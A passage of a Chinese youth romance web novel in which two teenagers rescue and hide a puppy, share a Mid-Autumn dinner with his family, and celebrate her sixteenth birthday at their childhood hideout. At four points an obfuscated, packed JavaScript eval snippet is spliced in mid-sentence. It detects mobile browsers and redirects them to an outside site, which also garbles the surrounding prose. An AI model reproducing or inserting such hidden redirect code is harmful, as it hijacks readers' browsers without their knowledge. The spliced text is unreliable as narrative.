以前她不管买了什么好吃的,都会想着他给他带一份,这份“恩情”他可是一直都记着的。 今天下午开始温度有点下降的趋势,祁苑事先准备了一件外套,但现在感觉也没有多冷。 出了巷子,前面正中央摆着三个大垃圾箱,里面的垃圾已经多得溢出来了,他们正要转弯,有个不大的黑色塑料袋动了动,传出一阵微弱的叫声。 陈颂声离得近,最先察觉,他回头观察了片刻,再次听到动静,他这才确定里面确实是有什么活物。 他和祁苑走过去,袋子里的东西许是感知到了有人在向它靠近,叫声越来越大,直到解开垃圾袋,从里面爬出来一只土黄色的小狗,瞧着还不到三个月大。 两个人相互看了一眼,又看了看四周。 “这么小的狗扔垃圾桶里?”祁苑说。 哪怕是被人丢弃了,这小狗也一点也不怕生,使劲抖了抖身子,摇着尾巴就过来找祁苑,不停地用头蹭她的手。 “现在怎么办?” 陈颂声耸耸肩道:“还能怎么办,带回去咯。” 祁苑抱起小狗放进了他的怀里,陈颂声躲了一下:“干嘛?” “什么干嘛,当然是你带回去啊,我叔他对狗毛过敏。” “我妈会宰了我的!”陈颂声差点跳了起来,怕被人听了去,特意压低声音说。 祁苑说:“你藏好。” 陈颂声崩溃:“往哪儿藏啊?” 祁苑看向手里的衣服,生出了一个想法:“衣服裹着应该可以。” “那你跟我一起回去,”陈颂声抓着她的手腕不让她走,“别想留我一个人送死。” 他脸上浮现出一抹难得的忧愁:“到时候要是被我妈逮到,我就死无葬身之地了。” 在他软磨硬泡下,祁苑只得答应了他,今天姑且在他家住一晚,大晚上就不折腾了,明天再想办法劝他爸妈留下小狗。 祁苑摸了摸小狗的脑袋,耐心地安抚道:“只要你乖乖的,不要发出声音,哥哥就带你回家了。” 小家伙听懂了一般,停止了叫唤,两只眼睛像黑葡萄似的滴溜溜地转了转。 陈颂声抱着狗,祁苑用衣服把它裹好,只漏出了眼睛和鼻子。 “走吧。” 路上,祁苑打电话告诉祁昌阳说晚上不回家了,祁昌阳起初还担心,问她什么原因,她开始绞尽脑汁地编理由。 一阵风吹过,陈颂声狠狠打了个喷嚏,声音格外响亮,祁昌阳听的很真切,他问祁苑是不是和陈颂声在一块儿。 祁苑支支吾吾了半天,陈颂声清了清嗓子接过电话:“叔叔好,是我。” 她听不见小叔说了什么,但陈颂声接下来说的几句话让她的表情发生了微妙的变化。 “嗯,好像有点。” “我爸妈有事儿去了,晚上回不来。” “我让她快回家,她非说不放心留我一个人在家,叔您快让她回去吧。” …… 什么东西? 祁苑听得一头雾水,陈颂声把电话又给了她,她接过,没等她开口,小叔就说:“小苑,既然颂声生病了,那你就照顾一下,你叔叔阿姨又不在家。要是有什么事就给我打电话。” 祁苑:“……好。” 电话挂断,她默默说了一句“不要脸”。 陈颂声气笑了:“什么我不要脸?叔叔他以为我病了,我这不是将计就计嘛,不然你还有更好的理由?” “你不怕我小叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447566|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打电话给你爸妈?” 祁苑真想一拳锤死他。 “很明显叔叔对我很放心,既然这样,我相信他不会再去跟我爸妈说的。”陈颂声十分肯定道。 祁苑咽了咽口水,像干了什么坏事一样,莫名紧张起来。 现在也只能这样了。 他们调转方向,过了两条马路,就到陈颂声家小区了。 他家住六楼。 坐电梯的时候陈颂声一直在擦汗,一想到私自带狗回家,他比祁苑还要紧张。 他努力让自己看上去没什么异常,三秒过后门锁被打开,客厅里正亮着灯,他的母亲宋歌在厨房切水果,父亲陈扬坐在沙发上看报纸。 祁苑的一声“叔叔阿姨好”打破了这份平静。 陈扬和宋歌几乎同时扭头看向门口,都不约而同地愣住了。 陈扬把报纸放回茶几上,站了起来:“小苑?” 宋歌水果还没切完,提着刀就出来了,惊讶道:“你是小苑?” 祁苑和陈颂声有些慌乱,直挺挺地站在门口,两个大人又都是老师,带着审判的目光盯着他们,特别像是学生犯了错在罚站。 陈扬率先反应过来,招呼他们进来:“这俩孩子,还傻站着干什么。” “小苑,这么晚你怎么过来了?”宋歌放下水果刀,手放在围裙上擦了擦,走过来问道。 “她怕鬼。”陈颂声张口就来。 祁苑表情一僵。 他又开始絮絮叨叨:“都说了不要大晚上看恐怖片,吓得不敢自己一个人在家。” “一个人害怕呀?”宋歌抚上她的肩膀,温柔地问她。 陈颂声,我谢谢你。 她在心里这样想,嘴上却说:“嗯对,小叔要明天才能回来。” “告诉你小叔了吗?”陈扬问。 “嗯,打过电话了。”她乖乖回答。 宋歌刚准备带祁苑去房间,动作一顿,奇怪道:“你们俩,这么热吗?怎么出这么多汗?” 祁苑和陈颂声再度对视。 再不去房间,怀里裹着的那个就要抑制不住了。 “今天外面还挺热的。”陈颂声往房间挪着步子。 宋歌拉过祁苑的手,带她去了陈颂声对面的那间屋子,那是她小时候来住的房间,里面的摆设还是原来的样子。 “我们小苑长大之后更漂亮了,要不是你叔叔叫你,阿姨差点没认出来。”宋歌对着祁苑似有说不完的话。 祁苑见他们就和见亲人一样,她抿嘴笑着:“哦对了,阿姨,这是他给您带的糖炒栗子。” 下一秒房门被敲响,打开了一条缝,陈颂声探出半个身子,冲她招了招手。 “那你们俩聊,阿姨给你们切水果去。” 宋歌走后,祁苑去到陈颂声房间,他把狗连着外套一起放进了纸箱子里,小狗从外套里钻出来,前爪扒着纸箱的边缘,用新奇的目光开始打量周围的环境。 “它夜里不会叫吧?”陈颂声又抽了几张纸擦汗。 “有没有什么东西给它垫着?”祁苑见小狗挺喜欢她那件外套的,于是就没打算再拿回来。 陈颂声从衣柜底层翻出一件不穿的衬衫,垫在了外套的上面。 “放阳台。” 陈颂声在那儿自言自语,端着箱子去了房间一边,关上窗户,把箱子放在了地上,宋歌的脚步声在门外响起,他手忙脚乱地拉上了窗帘。 宋歌一进门就看见陈颂声鬼鬼祟祟地抓着窗帘,觉得不太对劲,把果盘给了祁苑,步步紧逼:“干什么呢?” 5. 半生 陈颂声扯了扯窗帘:“天黑了,不拉窗帘啊。” 宋歌斜眼将他从头到脚扫视了一遍,毫不客气地把他拽到边上,一把拉开了窗帘,露出了铺满月色的阳台。 后面两个人火速闭起眼睛,把头偏向了一边,心想着要完蛋了。 过了半晌,宋歌弯下腰拎起那件衬衫,出声道:“好好的衣服丢箱子里干什么?还揉的皱皱巴巴。” 祁苑放下果盘,伸出头瞧了瞧,哪儿还有什么小狗,宋歌的脚下只有一只孤零零的纸箱子,里面露出来的是她的米色外套。 陈颂声松了口气,把一只手背到身后,若无其事地从宋歌手里拿回了衬衫,抖了两下又丢回箱子里,道:“这都洗褪色了,我准备扔了的。” “也是,你有空把你那衣柜收收,把里面的旧衣服都给拣出来,省得占地方。”宋歌边说边向外走。 两个人迅速蹲下身,窗帘里面什么也没有,他们又趴了下去,陈颂声打开手机上的手电筒照着床底,在最里面靠近墙的位置找到了一抹黄色的身影。 祁苑跪在地上,脑袋贴着地,伸出手招了招,她不敢大声,便用气音轻轻唤着:“乖,快出来。” 敲门声响起,紧跟着宋歌再次出现在了他们视线里,她的手里拿了两瓶牛奶,霎时间愣在了门口:“趴地上做什么?” 陈颂声默默地关了手电筒,强装镇定道:“我有本书忽然找不到了,就想看看在不在床底。” 宋歌摇了摇头,把牛奶放在桌子上,交代道:“你俩喝了牛奶就各自回去睡觉。” 她拉了门把手,就听见陈扬的声音从客厅里传了过来:“别拉着小苑聊太晚,你不睡人家还要睡呢。” “知道了。”陈颂声翻着死鱼眼,拖长了声音回道。 听到咔嚓一声,门被关上后,两个脑袋重新贴起地面,像请祖宗似的喊着让里面那位出来。 幸好“小祖宗”还算听话,见他俩这么卖力,开心地摇了摇尾巴,两只爪子朝墙缝扒拉了两下,沿着边爬出来了。 祁苑将它抱了回去,摸着头像哄孩子一样哄了好一会儿,小狗原本立起的耳朵开始耷拉下来,眼皮也打起了架,小小的身体蜷在纸箱一角慢慢地睡着了。 两人如同打了胜仗,感觉一天的精神气都被消耗殆尽了,陈颂声坐到桌子边,招呼祁苑来吃水果,他咬下一口西瓜,看向她:“我想了想,还是要带它去宠物医院检查一下比较稳妥。” 祁苑表示赞同:“那明天几点起?” “六点吧。”他说。 她比了一个“OK”的手势,又坐下歇了五分钟,随即放下手中的叉子,回了房间:“走了。” 第二天早上六点十八分,他们穿戴整齐准备出门。 说是六点起床,陈颂声可比这早多了,五点二十几的时候,小狗就睡醒了,兴奋地在房间里“疾行”,地板被踩得噼里啪啦。他把头蒙在被子里,告诉自己,要忍。 他们轻手轻脚地关上门,陈颂声拿出一瓶牛奶:“你昨晚忘记喝了。” 祁苑:“谢谢。” 外面的空气很好,小区的花坛附近可以看到不少老年人在晨练,还有几个在下棋,主打的就是一个修身养性。 陈颂声打招呼:“张大爷,打太极呢。” 张大爷正做着手挥琵琶的动作,侧过头笑道:“小声啊,起挺早啊。” 走了几步,他们听见张大爷痛心疾首地对着旁边的王大爷说:“老王啊,你这棋咋能这么走,这不直接堵死了吗……” 出了小区过一条马路就是菜市场,不宽的道路两旁摆满了卖菜的摊子。 祁苑注意到一辆停靠的卡车旁,有位大妈在卖新鲜的板栗,像是刚从树上摘的,外面那层带刺的壳还没剥呢。 她转头对陈颂声说:“小狗的名字还没取。” 陈颂声:“你有什么想法?” 祁苑:“就叫栗子,毛栗子,怎么样?” “毛栗子……挺适合的,”他颔首,不客气地揉了揉怀里的狗头,“听见没有,毛栗子?” 他们先去生煎店吃了个早饭。 等到了宠物医院,兽医给毛栗子做了全方面的检查,倒是挺健康,没什么问题,开了点体内外驱虫的药。 在做检查的时候,毛栗子一直很配合医生,乖巧地坐在台子上,也不吵也不闹,医生都忍不住夸了几句:“你们家这小狗可真听话。” 早晨的太阳在天上高高挂起,他们已经出门两个多小时了,离开了空调,脸上纷纷开始出汗。 好巧不巧,回去的路上,撞见了出门买菜的陈扬,看见狗,他没有说话,只是笑。 之后祁苑接了个电话,是饭店老板打来的,说店里遇到点情况,喊她过去帮个忙,她便没有推脱:“叔叔,我有点事要先走了,麻烦您替我和阿姨说一声。” “你去忙吧,路上注意安全。”陈扬点头道。 “我会的,”她又对陈颂声说,“那我走了。” 他点了点头:“好。” 陈扬手里提着两袋子菜,走在陈颂声的前面,头也不回地幸灾乐祸道:“好不容易搬来的救兵走咯,我倒要看看你怎么跟你妈妈交代。” “您替我和老妈说说呗。”陈颂声厚着脸皮和陈扬打着商量,但是显然没有容易。 “我回来了!”陈扬喊了一声。 从进门开始,陈颂声就抱着狗跟在陈扬身后,压根不敢抬头,宋歌拎着拖把从客厅走过来,见到眼前这情景,动作放缓:“小苑呢?” “孩子还有事,就先回去了,托我告诉你一声。”陈扬说完这句话,拎着菜钻进了厨房,丝毫没有要帮儿子的意思。 “我去洗菜。” 陈颂声把狗放到地上,弱弱地喊了一句:“妈……” 宋歌紧紧地盯着他:“你怎么回事儿?” “就是您看到的这么回事呗。”他指了指满地乱爬的狗,一脸的欠收拾。 宋歌这时才恍然大悟,左手叉腰,右手把拖把往地上一拄,扬起下巴升高语调“噢”了一声,回旋说道:“我说昨晚怎么那么奇怪,还带着小苑一起回来了,敢情是你特意请来的帮手,在这儿等着我呢!怎么,怕我揍你啊?” 陈颂声:“帮手这不是还没帮上忙就跑了嘛。” 话音刚落,宋歌扛起拖把作势就要揍他,陈颂声吓得直接跳起,躲到了餐桌后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447567|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语无伦次道:“不是、别、妈你冷静!” “有话好好说。”陈扬洗好了菜,路过战场丢下了这么一句,然后拿着报纸进了书房,还顺手关上了门,隔绝一切。 “狗哪儿来的?”宋歌把拖把丢到旁边,语气不善地问。 陈颂声老老实实地回答:“垃圾桶旁边捡的。” “为什么昨晚不说?” 陈颂声:“就是怕您像现在这样。” 母子俩说话的功夫,毛栗子屁颠屁颠地跑到宋歌脚边,用前爪扒了扒她拖鞋上的大红蝴蝶结,“汪汪”叫了两声,不得不说,这小家伙是懂怎么讨好人的。 见宋歌扭头望着地面不说话,陈颂声心一横,别别扭扭地去到她身边,抓住她的胳膊轻轻地晃了两下,哀求道:“妈,别生气了。” 望着这个一米八几的大高个,拽着自己胳膊在这儿可怜巴巴地说话,宋歌怎么也气不起来。 她终于出声:“如果说我现在很生气,你会去把狗扔了吗?” “……不会。” 他不想骗自己的妈妈,也不想把小狗再扔回去:“这么小的狗,丢了它也活不成啊,万一被狗贩子抓了,带去狗肉店的话,妈你想想……” “行了行了,”宋歌用手挡在他的面前,她瞥他一眼,“我也没说要丢啊。” 反转来的如此之快,陈颂声顿时傻眼,宋歌拍了拍他的肩,不可置信地说道:“我儿子居然会为了一只狗来跟我撒娇,真是太阳打西边出来了。既然都这样了,我就算再不喜欢,也得给儿子留个面子嘛不是?” 陈颂声:您开心就好。 宋歌也不逗他了,扬声喊道:“老陈!” “怎么了?”陈扬探出头问。 她继续拖地,说道:“你要是下午有时间的话带狗去洗个澡,顺便带它去宠物医院把狂犬疫苗打了。” 陈颂声上手夺过拖把,讨好宋歌,紧急挽回形象:“妈,地我来拖!” “吃水果?我来切!”看宋歌打开了冰箱,他又果断冲上去,端着盘子跑进了厨房。 九月转瞬即逝,还有几天就要到中秋了。 中午,祁昌阳买了份烤鸭,吃饭的时候他告诉祁苑,中秋那天他一整天都要在外面跑货车,叫她记得买点自己喜欢吃的东西。 国庆假期,烧烤店格外地忙碌,从上午十点开始到次日凌晨,人流量巨大。 “明天是中秋,你有什么安排?”陈颂声和她走在回家的路上,突然问她。 祁苑拧开瓶盖喝了口水,说:“在家休息。” “那叔叔呢?”他说。 祁苑摇摇头:“小叔很忙,明天不回家的。” “那来我家过节吧,不然你一个人多冷清,”可能提早料到了她会拒绝,他赶紧补充道,“其实这也是我爸妈的意思,上次你走的匆忙,他们没来得及和你多说话,他们挺想你的。” 祁苑心底有股暖流,原来也有人会记挂她。 他们约好了早上九点半在巷子口见面。 祁苑出现时,手上拎着一箱牛奶和一盒茶叶,陈颂声愣了片刻,过去将牛奶提到自己手里:“过个中秋而已,有必要这么隆重吗?” 6. 半生 “我是客,礼数不能少。” 到了陈颂声家,是他爸妈一起过来给他们开的门。 宋歌无视亲儿子,笑吟吟地拉她去沙发上坐,回头对穿鞋准备出门的陈扬说:“回来的时候记得买点月饼,我昨天把那盒拿去送人了。” 接下去的时间里,两个人简单地聊了聊, 祁苑知道了他们当年搬家的原因。 那时候陈颂声的外公生病,需要到专门的医院治疗,他们一家便陪着老人搬去了另一个城市。 前年初秋,老人走了,家里大大小小的事情都处理的差不多,才又回到了云港。 宋歌也大致地了解了这七年里发生的事,拍拍她的手安慰道:“一切都会好起来的。” 快十点了,宋歌去厨房准备午饭,让陈颂声陪祁苑聊会儿。 陈颂声正剥着橘子,宋歌离开后,一阵静默无声。 他先吃了一瓣,确定橘子是甜的,掰开半边递了过去。 “怎么不说话?怕我问你那天为什么临阵脱逃啊?”他开玩笑道。 “我是……”她正要辩解,厨房传来一阵抱怨声。 “又啃菜叶子,你又来啃菜叶子!我就买了这么点菜,被你啃得稀烂!”厨房是玻璃的推拉门,宋歌进去时没关好,毛栗子偷偷扒开钻了进去,找到放在角落竹篮里的青菜啃了起来。 客厅的两个人听到声音,不由地伸长了脖子,他们看到宋歌系着围裙,手里拿着大铜勺,把狗撵了出来,而狗嘴里还叼着菜。 “陈颂声,把狗看好!”宋歌“砰”地把门关上,壁柜上的酒瓶子都震得晃了晃。 陈颂声闭上了眼睛,无奈喊道:“妈,你轻点,咱家门要碎了!” 小狗跑到餐桌底下,和那片菜叶玩了起来,祁苑俯身勾勾手,唤道:“毛栗子,过来。” 小狗立马跑过去,那条小短尾巴快摇上天了,陈颂声说话了,声音听上去有些郁闷:“这小狗挺会区别对待,明明是我把它带回来的,结果跟谁亲都不跟我亲。” “你长得丑。”祁苑冷不丁接了一句。 “我丑?” 陈颂声两眼一黑,坐不住了,从果盘里拿起一个没剥的橘子,向祁苑扔去,“说句实在话,我长这么大,你是唯一一个说我长得丑的人。” 橘子扔到了祁苑怀里,然后骨碌碌滚了下去,正好砸到毛栗子的狗头。 祁苑“啧”了一声,没好气地看了他一眼。 陈颂声说:“你要这么说的话,有件事我觉得有必要告诉你。” 祁苑把耳朵凑了过去,表示洗耳恭听。 “小学那会儿我天天跟高年级的打架,他们把我祖宗十八代都问候了一遍,就是没有说我长得丑的。”陈颂声难得的一脸认真,看上去是真的在和她纠正这个问题。 祁苑忍不住勾起了嘴角,没有回应他。 宋歌的饭做好了,端着菜走出来:“你们在聊什么呢?什么丑不丑的?” “她说我丑。” 亲妈冷漠:“你本来就丑。” 陈颂声语塞。 宋歌说:“你刚出生那会儿,第一眼看见你,我还以为是医生抱错了,我还寻思,这谁家孩子黑的跟块炭似的。” 陈颂声的表情开始扭曲,他深觉自己兴许真的是抱错了,或者是打哪儿捡来的。 气氛变得诡异又好笑。此时,陈扬回来了。 宋歌招呼他们过来吃饭,都落座了之后,她想起来了,问:“我让你带的月饼呢?” 陈扬夹菜的动作一顿,后知后觉道:“不好,我忘了。” 宋歌:“……” 她看了看父子俩。 以前并不觉得,现在越看越像是一个模子里刻出来的。 “算了算了,等吃完午饭,你给点钱让两个孩子一起上街去买,”宋歌说完,去厨房把汤端了过来,对他们说,“然后你们再看看自己还想吃什么,顺道买了。” 正午刚过,街上还挺热闹的,有不少小摊子在卖特色小饰品。 他们去超市买了一包广式月饼,五仁、豆沙、蛋黄这三种口味的各买了六个,陈颂声提议买瓶饮料,晚上吃饭的时候喝。 他们去了商品柜前挑选,正纠结是买橙汁还是可乐,右侧的蔬菜区走过一对男女,在聊买房子的事。女人的声音很耳熟,祁苑下意识地看了过去。 果然是孙慧莹。 孙慧莹正笑眯眯地挽着那个男人的胳膊,两人有说有笑地在那儿买萝卜。祁苑看到了男人的脸,心里还一阵奇怪,她当初见过嫂嫂的出轨对象,好像不长这个样子。 “咱们买橙汁吧。”陈颂声说。 祁苑回过神,点头道:“嗯,好。” 今天这顿晚饭,大家吃的都很开心,祁苑已经很久没有过这种家人围坐在一起吃饭的感觉了。 吃过饭,几个人坐在露天的阳台赏月。 而聊天的话题无一不是围绕着学业、事业和家庭三个方面。 宋歌低头沉默了一阵,温声道:“小苑,不管你遇到了什么事情,你都可以跟叔叔阿姨说的,我们一直把你当自己女儿看待。” 祁苑的心里非常清楚,宋歌和她说这些的用意。 她笑道:“在我心里,叔叔阿姨就像我的爸爸妈妈一样,都是一家人。” 她既没有正面接受宋歌的好意,但也没有明着拒绝。 一会儿后,陈扬第一次在宋歌面前提起学校里关于自己儿子的传闻:“忘记跟你说了,这次小声一回来,可闹出不小的动静。” “怎么,刚到新学校就惹事?你都高三了!”宋歌的声音一下子冷了下来。 陈扬大笑:“对你儿子这么没信心?小声不是英语竞赛拿了个奖吗?才报到第一天,学校就已经传开了。” “是吗?你小子就得瑟吧。”宋歌无情说道。 陈颂声这还没说话呢,就被亲妈吐槽,他更不想说话了。 陈扬忽然变了脸,痛心道:“英语国赛得奖,数学却不及格,不知道你是真的偏科还是对你爸有什么意见。” 陈颂声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447568|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反讽道:“其实英语也没多好,这不是才第二,还没拿第一呢。” 陈扬说:“多跟小苑学学,看看人家数学到底是怎么学的,你是怎么做到其他科目挺好,数学只有四十几分的?” “叔叔,其实我英语不太好。”祁苑弱弱地说道。 怎么聊着聊着把她也扯进去了,她不得不为自己发声。 陈颂声今天一天下来遭受的打击已经够多了,他声音有些无力,附和道:“祁苑英语也才及格,咱俩这水平应该是不相上下才对吧。” 陈颂声说完,和祁苑互相望着对方,他们也委实想不通,怎么就这么巧,他们俩的强项刚好就是对方的弱项。 宋歌掩嘴笑道:“你们俩在学习方面需要中和一下,你帮小苑补英语,小苑帮你补数学,互帮互助,这不就提上来了吗?” “你确定我俩不会补着补着打起来?”陈颂声幽幽说了一句。 本来就很头疼,还正正好好地往对方枪口上撞,真到那时候,就不是他们和英语数学的矛盾这么简单了,将会升级成他俩之间的矛盾,还是一点就着,特别膈应的那种。 陈扬摆摆手,说:“这是你的事,你自己看着办。我还是那句话,最后一年了,至关重要,千万要把心思放在学习上,那天我看见乌泱泱一群小姑娘去找你,我都害怕。” “怕我谈恋爱?那你多虑了。”陈颂声向后一靠,懒洋洋地说道。 “我也希望是我多虑了。”陈扬最把握不准的就是他这个儿子的脾性,所以有些话还说还是得说。 趁着时间不算太晚,两个大人出门散步去了,留下陈颂声和祁苑坐在阳台。 陈颂声时不时地看向祁苑:“我妈跟你说那些话,其实……” “我知道,阿姨无非是想帮我,”她抬起头望着月亮,“除了小叔,你们就是我唯一的亲人了,我不希望我们的关系沾染上金钱利益,你能明白吗?” 陈颂声看着她笑了笑,顺着她的目光看向月亮,天上不知何时聚积了一大片云,慢慢地将月亮遮住了。 “再过两天是你生日了吧?”他说。 祁苑不以为然道:“对啊,但是自从我爸妈走后,我就没有过生日了。” “生日一年只有一次,要不要我帮你庆祝庆祝?” “不麻烦你了,而且那天我要上班。无所谓了。”她摇摇头。 “真不过了?” 陈颂声看出她是想过这个生日的,但是迫于现实带来的压力,她根本不敢让自己放松下来,哪怕只是一个小小的生日。 国庆假期的最后一天,祁苑如往常一样在烧烤店忙碌。 她找刘姐谈过了,说自己后面就不会再来上班了,刘姐也知道她是高中生,学习任务比较繁重,告诉她如果愿意的话,以后寒暑假还可以来这里。 这天,祁苑在店里留到了十一点才下班,回去时她习惯性地往商店门口看了一眼,今天忙得太晚,她已经提前给陈颂声发过信息叫他先回家了。 可是这一眼,让她停在了原地。 7. 半生 还是原来那个位置,陈颂声拎着一个六寸的小蛋糕,缓缓走来:“看什么?我说过要帮你过生日的。” 他说着,走到了祁苑的前面:“带你去个地方。” 陈颂声领着她去了这附近的喷泉公园,公园里没多少人了,只有零星几个坐在喷泉边上。 他们的目的地还没有到。 继续往里面走,走到了公园后面,这儿有片湖,湖边有一处废弃的小仓库,是二十几年前建造这个公园的时候堆放杂物用的。 后来成为了陈颂声和祁苑的秘密基地,他俩小时候经常跑来这里玩。 “你还记得这儿?”祁苑跟在身后走进了仓库。 仓库里面的一系列照明设备是当初两家的家长给他们弄的,几年下来也坏的差不多了,陈颂声提前来这里换了一批新的,连带着卫生也打扫了一遍。 仓库占地不大,仅仅就摆放了一些钢材木料,东南角有张小木桌,还有两把椅子,是祁苑的爸爸亲手打造的。 在这七年里,前两年祁苑还会偶尔地来看看,到后来她生了场大病,平时除了上学鲜少出门,渐渐地就把这个地方遗忘了。 陈颂声把蛋糕放在桌子上:“这么久没回来,我还挺想念这里的。” 他打开盒子,拿出生日帽,小心地给祁苑戴上,随后在蛋糕上插了七根彩色蜡烛,掏出打火机一一点上。 “许个愿吧。”陈颂声将蛋糕往她面前推了推。 一阵风从仓库上面的窗户吹了进来,蜡烛上的火苗轻轻地晃了几下,祁苑闭起眼睛,默默地许下她的十六岁生日愿望。 她的愿望是,祝我们都平安健康,一切顺利。 吹完了蜡烛,她从陈颂声手里拿过刀开始切蛋糕,她切下一块大的,递给了他,随后又给自己切了一块。 等她放下刀,陈颂声端起蛋糕:“生日快乐!” 祁苑被头顶上的灯照着,一双眼睛弯成了月牙,亮亮的闪着光:“谢谢。” 陈颂声伸出手:“不跟我干个蛋糕?” 她一愣,同样伸出了手,下一秒,两块蛋糕碰在了一起。 不算大的蛋糕最后还剩下一半,祁苑将它用原来的盒子装好,准备带回家,她将吃完了的叉子和碟子装到袋子里,丢进了湖边的绿色垃圾箱。 她朝正前方看去,只见月牙状的月亮倒映在湖上,月光柔柔洒下给湖面镀了一层银,随着微风泛起层层涟漪。 风吹起了她披在身后的长发,带来一阵入夜的凉爽。 湖边长着一大片狗尾巴草,秋分已过,遍地的草木也已经泛黄,月影之下,陈颂声手里拿了一大捧金黄色的狗尾巴草,踩着月色走了过来。 他们就在湖边的草坪上席地而坐,陈颂声埋头捣鼓着手里的狗尾巴草,看着他的一系列动作,祁苑隐隐猜到他要做什么了。 果不其然,几分钟后陈颂声的手里多了一只兔子,不过是用草编出来的。 陈颂声把兔子放到她手心,问她:“还记得吗?” “当然。”祁苑抽走六根,也编了起来。 怎么会忘,他们以前经常玩的,用狗尾巴草编兔子,这是他教她的。 ——“我教你用这个编螳螂。” ——“不要,螳螂不好看。” ——“那我们编小兔子。” 她房间的方盒子里还有许多,都是她自己编的,心情不好了,就编一只兔子,有的时间久了,差不多坏掉了她就清出去,没过几天又会添新的进来。 只用六根狗尾巴草就可以编出一只兔子,夏天刚成熟的要更好编一点,颜色瞧着也更好看。 他们坐在湖边,认真地琢磨起手里的东西,如果他们朝头顶上方看一看,会发现今晚的天上有不少星星,看来明天依旧是个晴天。 在外面坐了一会儿,他们回到仓库里,把东西收拾一下准备回家了,再过几分钟祁苑的生日就要过去了。 收拾的间隙,祁苑被墙上斑斑点点的东西吸引住了,上面有很多用粉笔写的字母,写得歪歪扭扭的,还有一些看上去奇奇怪怪的简笔画。 字母旁边有个人,脑袋上顶着三根毛,张着血盆大口,祁苑指着它说:“我记得这丑兮兮的小人儿是你画的吧?” 陈颂声歪头道:“好汉不提当年勇。” 旁边还有一副画,一个瓶子,里面有水和石子,还站着一只鸟,上面用蓝色粉笔极其夸张地写了四个大字——乌鸦喝水。 这是她画的。 这个看似破破烂烂的地方,真的承载了他们不少的回忆。 回到家已经过了零点,她简单洗漱过后就睡觉了,明天是周一,还要上课,头一回睡这么晚。 祁苑听课真的很认真,可不知道为什么,一上英语课就开始犯困,她觉得课表安排的一点也不合理,一周五天里,有四天的英语在早上前两节。 没有英语课的早上她精神抖擞,什么困意?压根不存在,而其余四天都是萎靡不振的状态。 教英语的是一个女教师,没事的时候就喜欢敲讲台,每次她一敲讲台,其他犯困的学生都会猛的一激灵,彻底清醒过来,但是仍旧敲不醒打瞌睡的祁苑。 高中第一次阶段性考试,她的总成绩在班级前五名,但英语只有六十七分,排名出来的第二天早上,英语老师把她请去了办公室喝茶。 自那以后,每节英语课,祁苑都是重点关照对象,几乎每次都要找她起来回答问题。 英语课成为了祁苑的噩梦。 总算是熬到了放假,她趁着周六把作业写完了,周日起了个大早去图书馆看书。 她拿了一本书,坐到窗子边看了起来,翻了几页,她感觉到有人坐在了她的身边,她循声瞧去,熟悉的花衬衫。 她在心里惊呼:张录! 张录手里没有拿任何东西,他靠着玻璃窗,无声地跟她打招呼,她看懂了他的口型:早上好。 两个月不见,这家伙变化不是一般的大,她都快要认不出了。 张录原先那头狂放不羁的脏辫没了,剃成了寸头,现在这么看着倒是正经多了,要不是那身标志性的花衬衫,她还真看不出来是他。 等附近找书的人走到了别处后,她小声问他:“你怎么在这儿?” 他是来看书的?不能吧。 “我为什么不能在这儿?”张录也小声地反问她,他显然不赞同她问的这个问题。 “看书?”她一脸的不相信。 张录刚要说话,一瓶水丢到了他手上,祁苑一怔,抬头看到陈颂声走过来,在他俩中间插了个位置坐下,望着她:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447569|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看他像是来看书的吗?” 张录起身,拍拍屁股说道:“很明显我是被陈哥拖过来的,不过既然小苑在,那兄弟我就先告辞了,回见!” 这种地方他是一刻也不想多待啊。 “这么巧,又见面了。”陈颂声眼睛盯着书,对她开口。 祁苑:? 不是在学校天天见吗? 虽然她不去上班了之后,他们不再一道回家,但是好歹在一所学校里读书,两个班级隔得也不是很远,课间十分钟也够好几个来回了,平时抬头不见低头见的。 “看的什么?”陈颂声再次开口。 “《泰戈尔诗集》,你呢?”她回答。 “《洪堡的礼物》。” 